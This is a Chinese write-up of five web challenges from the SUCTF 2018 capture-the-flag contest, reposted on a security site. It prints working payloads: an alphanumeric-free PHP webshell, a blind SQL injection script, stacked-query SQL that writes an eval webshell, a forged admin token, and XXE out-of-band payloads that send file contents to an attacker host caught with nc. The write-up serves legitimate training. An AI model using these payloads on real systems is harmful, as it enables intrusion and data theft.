SUCTF 2018 Web Writeup

0x01 Anonymous

这道题是 HITCON2017 一道题的删减版,拿 Writeup 里的 payload 即可获得 flag

参考文章:https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#baby-h-master-php-2017

image.png

0x02 Getshell

参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);    foreach ($black_char as $b) {        if (stripos($data, $b) !== false){            die("illegal char");
        }
    }     
}

先跑一下判断黑名单过滤了哪些字符

image.png

只剩下这几个字符还没被拦截,猜测是只过滤的字母数字跟部分符号,看到这个基本猜到要用无字母数字的方式构造 webshell,还有一个~位运算符还可以利用,参考文章中的方法二,利用汉字然后取反获得所需要的字符

image.png

其实括号里边也可以不需要单引号的,部分人被困在这一步上。取反后的第一位是乱码不可见字符,我们就取第二个字符也就是索引1的字符来构造 webshell

接下来就写个脚本,从汉字中选取我们需要利用的字符。这里用了 p 牛的一篇文章作为内容

image.png

生成出我们需要的汉字之后,开始构造 webshell

<?php
    $__=[];
    $___=[];
    $_=$__==$___;//true = 1   用作索引
    
    $__=~(瞰);
    $___=$__[$_];//a
    $__=~(北);
    $___.=$__[$_].$__[$_];//ss
    $__=~(的);
    $___.=$__[$_];//e
    $__=~(半);
    $___.=$__[$_];//r
    $__=~(拾);
    $___.=$__[$_];//t
    
    $____=~(~(_));//_
    $__=~(说);
    $____.=$__[$_];//P
    $__=~(小);
    $____.=$__[$_];//O
    $__=~(次);
    $____.=$__[$_];//S
    $__=~(站);
    $____.=$__[$_];//T
    
    $_=$$____;
    $___($_[_]);    
?>

使用的时候记得把我的注释删掉就能用了。最后将 webshell 上传即可,flag 在根目录里

0x03 MultiSql

登录之后在用户信息有注入,常见的注入函数都被过滤了,所以只能写个盲注脚本跑,然后发现secure_file_priv的值为/var/www/

image.png

说明我们可以通过 sql 注入读取跟写入网站文件。之前的盲注脚本用字符逐位比较的方式觉得效率有点慢,而且部分不可见字符也没法读取出来,所以我将文件内容 hex 编码,而 hex 后只有0123456789abcdf,跑出一个字符最多只需要 32 次。最后将内容 hex 解码即可

import requestsimport stringimport binascii


hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'
filename = '/var/www/html/bwvs_config/waf.php'c = ''
url = 'http://web.suctf.asuri.org:85/user/user.php?id=128-if(hex(load_file(0x%s))like(0x%s),1,2)'for _ in xrange(10000):    for i in char:
        payload = c + i + '%'
        _url = url % (hex(filename), hex(payload))
        # print payload      
        #print _url
        r = requests.get(_url, cookies={'PHPSESSID': 'irv5n2c39anu25lfp5l42i7ld2'})        if '127' in r.content:            print '......' + payload            c = c + i
            #if len(c) %2 == 0:
            #    print binascii.unhexlify(c)            break
        # else:
            # print payload
        # print c

读取了头像上传文件,发现并没有什么利用点,在/bwvs_config/waf.php中发现过滤 SQL 注入的函数

function waf($str){
    $black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
    $str = preg_replace($black_str, "@@",$str);    return addslashes($str);
}

过滤的函数挺多的,最后读取/user/user.php

image.png

这个注入竟然用的是mysqli_multi_query函数,说明我们可以执行多行 SQL 语句,怎么一开始就没盲测出来呢。。。

既然 waf 函数过滤了 select,可以用 set 跟 hex 编码的方式执行 SQL 语句,绕过过滤函数

set @num=0x73656c65637420757365722829;prepare t from @num;execute t;

image.png

然后经过into outfile方式将 php 文件写进网站目录

select 0x3c3f706870206576616c28245f524551554553545b273535333332275d293b3f3e into outfile '/var/www/html/favicon/wfox.php'

 再次hex编码->set @num=0x73656c65637420307833633366373036383730323036353736363136633238323435663532343535313535343535333534356232373335333533333333333232373564323933623366336520696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f77666f782e70687027;prepare t from @num;execute t;

image.png

写入 shell 成功,去根目录找 flag 即可。

0x04 HateIT

扫描发现/.git/目录,使用 dvcs-ripper 工具将 git 文件下载下来,发现只有一个README.md
image.png

image.png

看来得恢复文件,通过git log查看记录

image.png

通过git reset回滚版本

image.png

三个 php 文件都是通过扩展加密的,所以没法恢复,opcode.txt只有index.php,class.php,func.php的 opcode 代码,对着 Zend Engine 2 操作码列表这个手册逆了一晚上,就缺少 admin.php 导致没法解题。最后第二天放了 hint,拿到了suenc.so加密扩展文件,丢给团队的逆向牛搞定了解密文件。

下面附上解密出来的文件,index.php 是我手逆的所以有点乱,其他文件我还是贴上解密后的吧。。

index.php

<?php
    if(!isset($_SESSION))
    {
        session_start();
    }    
    echo '...这部分前端内容我就省略不贴了...';    
    include_once('func.php');    
    if(isset($_GET['username']))
    {
        $username = $_GET['username'];
        $md5 = md5(get_identify().$username);
        $admin = 0;
        $token = encrypt($username.'|'.$admin.'|'.$md5);
        $_SESSION['sign'] = $md5;
        $_SESSION['token'] = $token;
    }
    showImage();    if(isset($_GET['token']) && isset($_GET['sign']))
    {
        $token = $_GET['token'];
        $sign = $_GET['sign'];        echo 'sign : '.$sign.'<br>';        echo 'token: '.$token.'<br>';
        $info = explode('|', decrypt($token));        echo decrypt($token);
        var_dump($info);        if(count($info) == 3)
        {            if(md5(get_identify().$info[0]) == $info[2])
            {
                $sign = $info[1];
                $admin = $info[1];
            }else{
                $admin = $info[1];
            }
        }
        
    }else{        if(isset($_SESSION['token']) && isset($_SESSION['sign']))
        {            echo 'sign : '.$_SESSION['sign'].'<br>';            echo 'token: '.$_SESSION['token'].'<br>';
            $token = $_SESSION['token'];
            $sign = $_SESSION['sign'];
            $info = explode('|', decrypt($token));            if(count($info) == 3)
            {                if(md5(get_identify().$info[0]) == $info[2])
                {
                    $sign = $info[1];
                    $admin = $info[1];
                    
                }else{
                    $admin = $info[1];
                }                echo '<br>'.$admin;
            }
            
            
        }
    }    if(isset($admin) && $admin == 3)
    {
        $_SESSION['auth'] = 'admin';        echo "<a href='admin.php'>Admin</a>";
    }

func.php

<?php/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午9:25
 */include "class.php";
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");function get_token(){
    $token = '';    for($i=0;$i<16;$i++){
        $token .= chr(rand(1,255));
    }    return $token;
}function enc($s){
    $token = get_token();
    $code1 = openssl_encrypt(string($s),method,key,OPENSSL_RAW_DATA,$token);
    $code2 = base64_encode(base64_encode($token."-".$code1));    return $code2;
}function dec($s){    if($cc = base64_decode(base64_decode($s)))
    {        if($iv = substr($cc,0,16))
        {            if($d = substr($cc,17))
            {                if($s = openssl_decrypt($d, method, key, OPENSSL_RAW_DATA,$iv))
                {                    return $s;
                }                else
                    die("error");
            }            else
                return 0;
        }        else
            return 0;
    }    else
        return 0;
}function uploadImage(){    if($_SESSION['auth'] !== "admin"){        die("Auth Failed");
    }
    $AllowedType = array(        "png",        "gif",        "jpg"
    );
    $filename = $_FILES['file']['name'];
    $filesize = $_FILES['file']['size'];    if($filesize > 1000000){        exit("Too large");
    }
    $fileext = substr($filename, strrpos($filename, '.')+1);    if(in_array($fileext,$AllowedType)){
        $file = "thumbs/images/".md5(time()."admin").".".$fileext;        if(file_exists($file)){            exit("File existed already");
        }else{
            move_uploaded_file($_FILES['file']['tmp_name'],$file);
        }
    }else{        exit("Not Allowed Ext");
    }
}function viewImage($name){    if($_SESSION['auth'] !== "admin"){        die("Auth Failed");
    }    new ImageView($name);
}function showImage(){
    $obj = new Home("thumbs/images/");
    $obj->showImg();

}function to($str) {    return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}function re($str) {    return substr($str, 0, -ord(substr($str, -1, 1)));
}function getkey(){    return KEY;
}function get_identify(){    return IDENTIFY;
}function encrypt($str){
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));    return base64_encode($cipher);
}function decrypt($str){
    $decode = base64_decode($str);
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $bin = hex2bin($str);
    $plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token));    return $plain;
}

class.php

<?php/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午11:00
 */class ImageView{    private $filename = "";    function __construct($name){
        $this->filename = "images/$name";
        $this->createThumbnail();
    }    function createThumbnail(){
        $e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25));
        system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}");
    }    function __toString()
    {        // TODO: Implement __toString() method.
        return "<a href={$this->filename}>
                <img src=./thumbs/{$this->filename}></a>";
    }
}class Home{    private $dir = "";    public function __construct($dir){
        $this->dir = $dir;
    }    public function showImg(){
        $files = $this->getDirFile($this->dir);        foreach ($files as $file){            echo "<img src=$file>";
        }
    }    public function getDirFile($dir){
        $files = array();        if(!is_dir($dir)) {            return $files;
        }
        $handle = opendir($dir);        if($handle) {            while(false !== ($file = readdir($handle))) {                if ($file != '.' && $file != '..') {
                    $filename = $dir . "/"  . $file;                    if(is_file($filename)) {
                        
                            $files[] = $filename;
                        
                    }else {
                        $files = array_merge($files, get_files($filename));
                    }
                }
            }   //  end while
            closedir($handle);
        }        return $files;
    }

}

admin.php

<?php/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午9:38
 */session_start();if($_SESSION['auth']!=="admin"){    die("Auth Failed!");
}include "func.php";if(isset($_GET['action'])){
    $action = $_GET['action'];    if($action == "uploadImage"){        include_once "template/upload.php";        if(isset($_FILES['file'])){
            uploadImage();
        }
    }elseif ($action == "viewImage"){
        $file = isset($_GET['file'])?$_GET['file']:"23.jpg";
        viewImage($file);
    }
}

先看index.php,这里会将$token解密,如果$admin==3就有权限访问admin.php,我们在本地生成加密 token

$md5 = md5(get_identify().'aaaaaaaaaaaaaaaaaa');$admin = 3;$token = encrypt('aaaaaaaaaaaaaaaaaa|'.$admin.'|'.$md5);echo $md5;echo '||';echo $token;

然后将生成的 token 跟 sign 去访问即可获得管理员权限

image.png

我在这里踩了一晚上的坑,因为我一直是用 windows 环境生成 token,而 windows 跟 linux 的随机数是有差异的,导致加密的结果是错误的。心疼自己...

拿到管理员权限后接着看admin.php,文件上传好像是因为没有目录权限,一直上传不上东西,就算了。viewImage调用了ImageView类,最终通过调用系统命令的方式修改图片大小,这里没有对$filename进行过滤,直接拼接到命令执行中,构造 payload 执行命令

image.png

flag 在/etc/flag/

image.png

0x05 Homework

这道题由于时间关系,赛后一小时才做出来,被上传文件的 sig 报错误导了很久。

show.php中,module 表示要调用的类,args 用作传参,这里用 PHP 自带的类SimpleXMLElement执行 XXE 攻击,但是在实际测试中发现,并不能解析实体,在高版本的 libxml 中,默认是不解析实体的,所以我们传入参数LIBXML_NOENT就能解析实体,但我们传参进去的是字符串而不是常量所以是用不了的,而LIBXML_NOENT的值为 2,所以我们传入 2 即可。实测中发现挺多数字都可以正常解析实体,这个不深入研究。

参考链接:

  1. http://php.net/manual/zh/libxml.constants.php

  2. https://lightless.me/archives/Research-On-XXE.html

构造 xxe payload,通过 oob 攻击获得回显

<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/e.xml">
%remote;
]></root>

e.xml

<!ENTITY % payload SYSTEM        "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip:1080/%payload;'>">
%int;
%trick;

构造 payload 发送

/show.php?module=SimpleXMLElement&args[]=%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2Fip%3A9999%2Fe.xml%22%3E%0A%25remote%3B%0A%5D%3E%0A%3C%2Froot%3E&args[]=2

nc 监听 1080 端口,成功获取到 index.php 内容,但这个文件并不是重点,重点看function.phpshow.php

function.php

<?phpfunction sql_result($sql,$mysql){    if($result=mysqli_query($mysql,$sql)){
        $result_array=mysqli_fetch_all($result);        return $result_array;
    }else{         echo mysqli_error($mysql);         return "Failed";
    }
}function upload_file($mysql){    if($_FILES){        if($_FILES['file']['size']>2*1024*1024){            die("File is larger than 2M, forbidden upload");
        }        if(is_uploaded_file($_FILES['file']['tmp_name'])){            if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                $filehash=md5(mt_rand());                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
                $new_filename="./upload/".$filehash.".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }else{
                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                $new_filename="./upload/".$hash[0][0].".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }
        }else{            die("Not upload file");
        }
    }
}function w_addslashes($string){    return addslashes(trim($string));
}function do_api($module,$args){
    $class = new ReflectionClass($module);
    $a=$class->newInstanceArgs($args);
}?>

show.php

<?php
    include("function.php");    include("config.php");    include("calc.php");    if(isset($_GET['action'])&&$_GET['action']=="view"){        if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");        if(!empty($_GET['filename'])){
            $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
            $file_name=$file_info['0']['2'];            echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
            $new_sig=mt_rand();
            sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);            die("<br>new sig:".$new_sig);
        }else{            die("Null filename");
        }
    }

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);    if($check_sum!==$check_code){
        header("Location: login.php");
    }

    $module=$_GET['module'];
    $args=$_GET['args'];
    do_api($module,$args);?>

show.php的 view 方法中,限制了 ip 只能是127.0.0.1,说明只能通过 XXE 去触发。这里根据filename获取数据库中的 sig 然后进行 update 操作,但没有对 sig 值进行过滤,导致二次注入。

再看一下function.php中的upload_file上传文件部分,首先他会判断 filename 是否存在,如果不存在就会插入数据库,这里 sig 没有用单引号保护,但是用了 addslashes 进行转义,而我们要插入二次注入的语句必须得有单引号,这个时候就可以用 hex 编码进行绕过。

因为sql_result函数中会输出 sql 错误,所以我们用 updatexml 函数进行报错注入。构造 payload

'or updatexml(1,concat(0,substr((select flag from flag),1,32)),1)#

image.png

修改e.xml,获取http://127.0.0.1/show.php?action=view&filename=asczc.php的内容

<!ENTITY % payload SYSTEM        "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=asczc.php">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip:1080/%payload;'>">
%int;
%trick;

image.png

成功拿到报错注入的内容

file code: 123XPATH syntax error: 'SUCTF{L2DQVutviWff118oyKcDCp9393'<br>new sig:1231563907

因为 flag 长度比较长,所以分段读取,最后读到 flag SUCTF{L2DQVutviWff118oyKcDCp9393GkmnNVFDGTsNvcy5hK9wQxpxMc}


【作者:Wfox   原文链接 SUCTF 2018 Web Writeup



本文作者:白帽100安全攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/72364.html

Tags:
评论  (2)
快来写下你的想法吧!
  • id 2018-05-29 15:03:38

    比赛的docker镜像公布了嘛?老哥能不能发份链接!

  • Manu 2020-07-19 17:23:28

    getshell里面$$___可以生成$_POST吗,在自己机子跑的时候是NULL

白帽100安全攻防实验室

文章数:22 积分: 52

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号